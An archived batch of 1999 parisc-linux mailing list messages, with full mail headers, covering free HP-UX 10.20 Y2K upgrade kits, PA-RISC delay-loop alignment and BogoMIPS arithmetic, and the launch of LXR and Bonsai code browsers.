X-Trace: ger.gmane.org 1416618657 28502 80.91.229.3 (22 Nov 2014 01:10:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: der_fisch@fischlustig.de  Mon Nov 22 09:11:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA18497
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 09:11:53 -0700
Original-Received: (qmail 5130 invoked by uid 15267); 22 Nov 1999 16:13:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5121 invoked from network); 22 Nov 1999 16:13:33 -0000
Original-Received: from 130-149-145-69.dialup.cs.tu-berlin.de (HELO tentakel.fischlustig.de) (@130.149.145.69)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 16:13:33 -0000
Original-Received: (qmail 9271 invoked from network); 22 Nov 1999 16:15:21 -0000
Original-Received: from beavis.fischlustig.de (HELO beavis) (andi@192.168.1.1)
  by tentakel.fischlustig.de with SMTP; 22 Nov 1999 16:15:21 -0000
X-Mailer: KMail [version 1.0.28]
Xref: news.gmane.org gmane.linux.ports.parisc:6474

Hello,

I just ordered the HP-UX 10.20 Y2K upgrade from this page.

http://www.software.hp.com/products/Y2K/cd_form.html

Is this really free, there were no hint whether it costs nothing or $10000.

Is it free? Hope so...

-- 
bye
  Andreas

-------------------------------------------------
e-mail: andi@fischlustig.de

*Checkout our cool game for Linux and Win32*
   *http://www.fischlustig.de/clanbomber*
-------------------------------------------------


From - Thu Nov 08 21:11:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Magne =?iso-8859-1?Q?=D8stlyngen?= <magne@spacetec.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [Fwd: Re: [parisc-linux] HP-UX 10.20 for free?]
Date: Mon, 22 Nov 1999 17:51:54 +0100
Organization: KSPT
Lines: 27
Approved: news@gmane.org
Message-ID: <383974AA.6CC3A98B@spacetec.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618657 28505 80.91.229.3 (22 Nov 2014 01:10:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: magne@spacetec.no  Mon Nov 22 09:51:25 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA18902
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 09:51:24 -0700
Original-Received: (qmail 24396 invoked by uid 15267); 22 Nov 1999 16:52:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24388 invoked from network); 22 Nov 1999 16:52:46 -0000
Original-Received: from jupiter.spacetec.no (HELO spacetec.no) (192.51.5.11)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 16:52:46 -0000
Original-Received: from spacetec.no (metis.spacetec.no [192.51.5.180])
	by spacetec.no (8.9.1a/8.9.1) with ESMTP id RAA22471
	for <parisc-linux@thepuffingroup.com>; Mon, 22 Nov 1999 17:51:54 +0100
Original-Sender: magne@spacetec.no
X-Mailer: Mozilla 4.7 [en] (X11; I; IRIX 6.5 IP32)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6475

So i pushed send without looking at the To: address.. :/
Is there a reason the Reply-To: on list-messages isn't
set to the list?

-------- Original Message --------
From: Magne stlyngen <magne@spacetec.no>
Subject: Re: [parisc-linux] HP-UX 10.20 for free?
To: Andi <der_fisch@fischlustig.de>

> I just ordered the HP-UX 10.20 Y2K upgrade from this page.
> http://www.software.hp.com/products/Y2K/cd_form.html

Isn't that just y2k patches, not the whole os?

If you want to upgrade a workstation:

http://www.hp.com/visualize/programs/y2k/y2k_menu/y2k_upgr/oskit.html

"contact your HP Order Fulfillment Contact, your Sales Representative,
or your HP Authorized Reseller"

Does anyone know if you can order this on the web / by email?

-- 
Magne stlyngen <magne@spacetec.no>
                <magne@skybert.org>


From - Thu Nov 08 21:11:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Mon, 22 Nov 1999 13:11:29 -0500 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <199911221811.NAA27290@hiauly1.hia.nrc.ca>
References: <19991122083023.B1310@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618657 28508 80.91.229.3 (22 Nov 2014 01:10:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:57 +0000 (UTC)
Cc: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Nov 22 11:09:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA25620
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 11:09:58 -0700
Original-Received: (qmail 28549 invoked by uid 15267); 22 Nov 1999 18:11:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28538 invoked from network); 22 Nov 1999 18:11:42 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 18:11:42 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id NAA27290;
	Mon, 22 Nov 1999 13:11:29 -0500 (EST)
In-Reply-To: <19991122083023.B1310@mathe.stud.uni-erlangen.de> from "Philipp Rumpf" at Nov 22, 99 08:30:23 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6476

> > I tried this and it didn't work.  It looks like __delay() is broken.  The
> > ".balignl" is clearly bogus.
> 
> Oh.  Why ?  The way it is intended is to align the following code to a 64-byte
> boundary (cache lines on current PA2.0 CPUs are 64 bytes, I think) using nops.

Missed this point because of the strange nop.  The current addib loop is 3
instructions.  Alignment to a multiple of 16 should be good enough to
ensure that the loop lies within a cache line.  This would insert a maximum
of 3 nops before the loop.  This would provide a slightly more deterministic
result.

Also, re the BogoMIPS number, I think this should be (loops_per_sec*3)/2000000
(i.e., there is one addib and 0.5 nop instructions per loop when the
number of iterations is large.  The number that is currently printed is
loops_per_sec*2/1000000.

The simple loop "addib,NUV,n .;nop" is slower but more deterministic.  It
only needs an alignment of 8 (at most one nop).  The number of instructions
per loop is 2*N-1.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Fwd: Re: [parisc-linux] HP-UX 10.20 for free?]
Date: Mon, 22 Nov 1999 10:22:26 -0800 (PST)
Lines: 32
Approved: news@gmane.org
Message-ID: <199911221822.KAA13945@opus.allegro.com>
References: <383974AA.6CC3A98B@spacetec.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618657 28510 80.91.229.3 (22 Nov 2014 01:10:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:57 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: magne@spacetec.no (Magne =?iso-8859-1?Q?=D8stlyngen?=)
Original-X-From: sieler@opus.allegro.com  Mon Nov 22 11:21:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA25871
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 11:21:09 -0700
Original-Received: (qmail 1378 invoked by uid 15267); 22 Nov 1999 18:22:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1371 invoked from network); 22 Nov 1999 18:22:50 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 18:22:50 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id KAA13945;
	Mon, 22 Nov 1999 10:22:26 -0800
In-Reply-To: <383974AA.6CC3A98B@spacetec.no> from "Magne =?iso-8859-1?Q?=D8stlyngen?=" at Nov 22, 1999 05:51:54 PM
X-Mailer: ELM [version 2.5 PL1]
X-MIME-Autoconverted: from 8bit to quoted-printable by opus.allegro.com id KAA13945
X-MIME-Autoconverted: from quoted-printable to 8bit by puffin.external.hp.com id LAA25871
Xref: news.gmane.org gmane.linux.ports.parisc:6477

Re:

> From: Magne stlyngen <magne@spacetec.no>
> Subject: Re: [parisc-linux] HP-UX 10.20 for free?
> To: Andi <der_fisch@fischlustig.de>
> 
> > I just ordered the HP-UX 10.20 Y2K upgrade from this page.
> > http://www.software.hp.com/products/Y2K/cd_form.html
> 
> Isn't that just y2k patches, not the whole os?

Yes...not only that, at least some of the patches are *OLD*, much
older than you'd expect.  The kit came with 1 OS patch disk and
3 "Application" patch disks (10.01/10.10, 10.20, and 11.00).  
IIRC, the two patches I looked at on the OS patch disk were 
about a year out of date (PDCINFO and ?).

> http://www.hp.com/visualize/programs/y2k/y2k_menu/y2k_upgr/oskit.html

 
> Does anyone know if you can order this on the web / by email?

The site mentioned above seems aimed at people on support contracts,
although I'm not sure about that.

I ordered my 10.20 upgrade via:
http://www.software.hp.com/y2kupgrades/swp_upgrades.html

And, you can do it online.

SS


From - Thu Nov 08 21:11:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Mon, 22 Nov 1999 10:27:25 -0800 (PST)
Lines: 23
Approved: news@gmane.org
Message-ID: <199911221827.KAA13990@opus.allegro.com>
References: <199911221811.NAA27290@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618658 28515 80.91.229.3 (22 Nov 2014 01:10:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: sieler@opus.allegro.com  Mon Nov 22 11:25:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA26025
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 11:25:49 -0700
Original-Received: (qmail 3693 invoked by uid 15267); 22 Nov 1999 18:27:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3682 invoked from network); 22 Nov 1999 18:27:33 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 18:27:33 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id KAA13990;
	Mon, 22 Nov 1999 10:27:25 -0800
In-Reply-To: <199911221811.NAA27290@hiauly1.hia.nrc.ca> from "John David Anglin" at Nov 22, 1999 01:11:29 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:6478

Re:

> Missed this point because of the strange nop.  The current addib loop is 3
> instructions.  Alignment to a multiple of 16 should be good enough to
> ensure that the loop lies within a cache line.  This would insert a maximum
> of 3 nops before the loop.  This would provide a slightly more deterministic
> result.
> 
> Also, re the BogoMIPS number, I think this should be (loops_per_sec*3)/2000000
...

This should be timed on a PA-RISC 2.0 machine, just in case.  Some of
them are really good at apparently doing things twice as fast as you'd
expect :)    

Our K460 gets twice the MIPs you'd expect ... i.e., it executes a simple 
timing loop at about 360 million instructions per second ... 
on a single CPU machine with a 180 MHz clock!

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html          www.allegro.com/sieler


From - Thu Nov 08 21:11:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Mon, 22 Nov 1999 19:33:47 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <19991122193347.A1009@mathe.stud.uni-erlangen.de>
References: <19991122083023.B1310@mathe.stud.uni-erlangen.de> <199911221811.NAA27290@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618658 28518 80.91.229.3 (22 Nov 2014 01:10:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:58 +0000 (UTC)
Cc: Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: prumpf@abacus.uni-erlangen.de  Mon Nov 22 11:30:43 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA26185
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 11:30:42 -0700
Original-Received: (qmail 6056 invoked by uid 15267); 22 Nov 1999 18:32:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6046 invoked from network); 22 Nov 1999 18:32:27 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 18:32:27 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Mon, 22 Nov 1999 19:32:24 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id TAA01106;
	Mon, 22 Nov 1999 19:34:47 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911221811.NAA27290@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:6479

> Missed this point because of the strange nop.  The current addib loop is 3
> instructions.

It is ?

The way it looks to me is it is two instructions in the main loop.

> Alignment to a multiple of 16 should be good enough to
> ensure that the loop lies within a cache line.

I agree.  Still, I like the CR16 based loop so much better.

> Also, re the BogoMIPS number, I think this should be (loops_per_sec*3)/2000000
> (i.e., there is one addib and 0.5 nop instructions per loop when the
> number of iterations is large.

Again, I disagree.  It is two addibs per loop.

> The number that is currently printed is
> loops_per_sec*2/1000000.

We cannot go around and change it either.  It is in architecture-independent
code.  (It's right, too.  If you have "branch if > 0" and "subtract one"
instructions, the number of MIPS is loops_per_sec*2 (2 instructions per
iteration) / 1000000 (the M part).

> The simple loop "addib,NUV,n .;nop" is slower but more deterministic.  It

NUV means no unsigned overflow

-1 + N overflows for N != 0

So, what you really want is "addib,UV -1, %0, .; nop" (or, I think,
"addib,UV,n -1, %0, .") ?

> only needs an alignment of 8 (at most one nop).  The number of instructions
> per loop is 2*N-1.

Pardon me, why the "-1" part ?  For N==1, you execute

addib,UV -1, %0, .	; -1 + 1 overflows
nop			
addib,UV -1, %0, .	; -1 + 0 does not overflow
nop

, so this would imply 2*(N+1) as number of executed instructions.

	Philipp Rumpf


From - Thu Nov 08 21:11:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Mon, 22 Nov 1999 19:42:18 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <19991122194218.B1009@mathe.stud.uni-erlangen.de>
References: <199911221811.NAA27290@hiauly1.hia.nrc.ca> <199911221827.KAA13990@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618658 28521 80.91.229.3 (22 Nov 2014 01:10:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:58 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com
To: Stan Sieler <sieler@allegro.com>
Original-X-From: prumpf@abacus.uni-erlangen.de  Mon Nov 22 11:39:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA26322
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 11:39:16 -0700
Original-Received: (qmail 9918 invoked by uid 15267); 22 Nov 1999 18:41:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9910 invoked from network); 22 Nov 1999 18:41:00 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 18:41:00 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Mon, 22 Nov 1999 19:40:58 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id TAA01123;
	Mon, 22 Nov 1999 19:43:18 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911221827.KAA13990@opus.allegro.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6480

> Our K460 gets twice the MIPs you'd expect ... i.e., it executes a simple 
> timing loop at about 360 million instructions per second ... 
> on a single CPU machine with a 180 MHz clock!

Keep in mind the "subtract one and branch if register non-zero" is really
only a single instruction - and the following one you can always send to
another pipeline because of the two-entry IAOQ thing.

You can see the same effect on many x86 CPUs, some PPCs and probably other
animals as well.

	Philipp Rumpf


From - Thu Nov 08 21:11:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugo.van.der.Kooij@caiw.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX 10.20 for free?
Date: Mon, 22 Nov 1999 19:43:25 +0100 (CET)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911221942310.10075-100000@bastion.hugo.vanderkooij.org>
References: <99112217140600.11388@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618659 28523 80.91.229.3 (22 Nov 2014 01:10:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andi <der_fisch@fischlustig.de>
Original-X-From: Hugo.van.der.Kooij@caiw.nl  Mon Nov 22 11:43:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA26517
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 11:43:30 -0700
Original-Received: (qmail 11972 invoked by uid 15267); 22 Nov 1999 18:45:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11964 invoked from network); 22 Nov 1999 18:45:14 -0000
Original-Received: from mailserv.caiw.nl (194.178.9.133)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 18:45:14 -0000
Original-Received: (from root@localhost) by mailserv.caiw.nl (8.8.5/8.6.12) id TAA07540; Mon, 22 Nov 1999 19:45:12 +0100 (MET)
Original-Received: from k3nw277.dial.kabelfoon.nl(195.193.25.22), claiming to be "bastion.hugo.vanderkooij.org"
 via SMTP by mailserv.caiw.nl, id smtpdAAAa07235; Mon, 22 Nov 1999 19:45:01 +0100
Original-Received: from bastion.hugo.vanderkooij.org (bastion.hugo.vanderkooij.org [192.168.100.254])
	by bastion.hugo.vanderkooij.org (8.9.1a/8.9.1) with ESMTP id TAA27729;
	Mon, 22 Nov 1999 19:43:33 +0100
X-Sender: hvdkooij@bastion.hugo.vanderkooij.org
In-Reply-To: <99112217140600.11388@beavis>
X-URL: http://www.caiw.nl/~hvdkooij/
X-Loop: Hugo.van.der.Kooij@caiw.nl
Xref: news.gmane.org gmane.linux.ports.parisc:6481

On Mon, 22 Nov 1999, Andi wrote:

> I just ordered the HP-UX 10.20 Y2K upgrade from this page.
> 
> http://www.software.hp.com/products/Y2K/cd_form.html
> 
> Is this really free, there were no hint whether it costs nothing or $10000.

I didn't pay anything. And the set was brought right at home.

Hugo.

-- 
Hugo van der Kooij; Oranje Nassaustraat 16; 3155 VJ  Maasland
hvdkooij@caiw.nl	http://home.kabelfoon.nl/~hvdkooij/
--------------------------------------------------------------
Use of any of my email addresses for unsollicited (commercial)
    email is a clear intrusion of my privacy and illegal!


From - Thu Nov 08 21:11:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC Linux LXR / Bonsai
Date: Mon, 22 Nov 1999 14:53:53 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <19991122145353.H3543@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618659 28529 80.91.229.3 (22 Nov 2014 01:10:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:59 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pschwan@burrow.puffingroup.com  Mon Nov 22 11:53:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA26696
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 11:53:43 -0700
Original-Received: (qmail 16837 invoked by uid 15267); 22 Nov 1999 18:55:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16824 invoked from network); 22 Nov 1999 18:55:28 -0000
Original-Received: from burrow.puffingroup.com (pschwan@209.151.0.76)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 18:55:28 -0000
Original-Received: (from pschwan@localhost)
	by burrow.puffingroup.com (8.8.7/8.8.7) id OAA04620
	for parisc-linux@thepuffingroup.com; Mon, 22 Nov 1999 14:53:54 -0500
X-Mailer: Mutt 0.93.2
Xref: news.gmane.org gmane.linux.ports.parisc:6482

Greetings hackers--

I'm happy to announce that the amazingly useful LXR and Bonsai tools
are now at our disposal.  They sprang fully grown from the beast that
is Mozilla dot org, all praise the project.

They're available for your use at http://puffin.external.hp.com/lxr/
and http://puffin.external.hp.com/bonsai/ respectively.

As you look around, you'll notice that LXR calls into Bonsai and vice
versa--they're really designed to work together, and can aid in
understanding the code and the various patches.

The Bonsai query form is pretty self-explanitory, but if there's
enough demand I'll write up a quick tutorial.  People in the office
have played around with both, but let me know if there are bugs that
didn't catch our eye.

Enjoy!

-Phil


From - Thu Nov 08 21:11:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@finlandia.Infodrom.North.DE>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA-RISC Linux LXR / Bonsai
Date: Mon, 22 Nov 1999 20:02:43 +0100
Lines: 110
Approved: news@gmane.org
Message-ID: <19991122200243.J31265@finlandia.infodrom.north.de>
References: <19991122145353.H3543@thepuffingroup.com>
Reply-To: Martin Schulze <joey@infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618659 28530 80.91.229.3 (22 Nov 2014 01:10:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Phil Schwan <pschwan@thepuffingroup.com>
Original-X-From: joey@finlandia.Infodrom.North.DE  Mon Nov 22 12:01:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA26968
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 12:01:42 -0700
Original-Received: (qmail 20895 invoked by uid 15267); 22 Nov 1999 19:03:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20862 invoked from network); 22 Nov 1999 19:03:21 -0000
Original-Received: from kuolema.infodrom.north.de (postfix@194.94.254.227)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 19:03:21 -0000
Original-Received: from finlandia.Infodrom.North.DE (finlandia.Infodrom.North.DE [194.94.254.226])
	by kuolema.infodrom.north.de (Postfix) with ESMTP
	id B40CB146E7D; Mon, 22 Nov 1999 20:03:28 +0100 (CET)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	by finlandia.Infodrom.North.DE
	via smail from stdin
	id <m11pyjb-000bK2C@finlandia.Infodrom.North.DE>
	for parisc-linux@thepuffingroup.com; Mon, 22 Nov 1999 20:02:43 +0100 (CET) 
User-Agent: Mutt/1.0pre2i
In-Reply-To: <19991122145353.H3543@thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6483

Phil Schwan wrote:
> Greetings hackers--
> 
> I'm happy to announce that the amazingly useful LXR and Bonsai tools
> are now at our disposal.  They sprang fully grown from the beast that
> is Mozilla dot org, all praise the project.
> 
> They're available for your use at http://puffin.external.hp.com/lxr/
> and http://puffin.external.hp.com/bonsai/ respectively.

Out of curiosity, where does http://insert.link.here/cvs.html point?

Regards,

	Joey

-- 
A mathematician is a machine for converting coffee into theorems.

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 14:51:03 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03613
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:51:03 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:51:03 PST
Received: from smtp03.primenet.com (daemon@smtp03.primenet.com [206.165.6.133])
	by primenet.com (8.8.8/8.8.5) with ESMTP id WAA18701
	for <pcj@smtp-local.primenet.com>; Tue, 9 Mar 1999 22:02:22 -0700 (MST)
Received: (from daemon@localhost)
	by smtp03.primenet.com (8.8.8/8.8.8) id WAA23530
	for <pcj@primenet.com>; Tue, 9 Mar 1999 22:03:31 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp03.primenet.com, id smtpd023508; Tue Mar  9 22:03:25 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id XAA25667;
	Tue, 9 Mar 1999 23:29:07 -0500
Resent-Date: Tue, 9 Mar 1999 23:29:07 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-ID: <36E5F497.B6FC9F74@home.com>
Date: Tue, 09 Mar 1999 22:27:03 -0600
From: P G <browndog@home.com>
Organization: @Home Network
X-Mailer: Mozilla 4.05 [en]C-AtHome0404  (Win95; U)
MIME-Version: 1.0
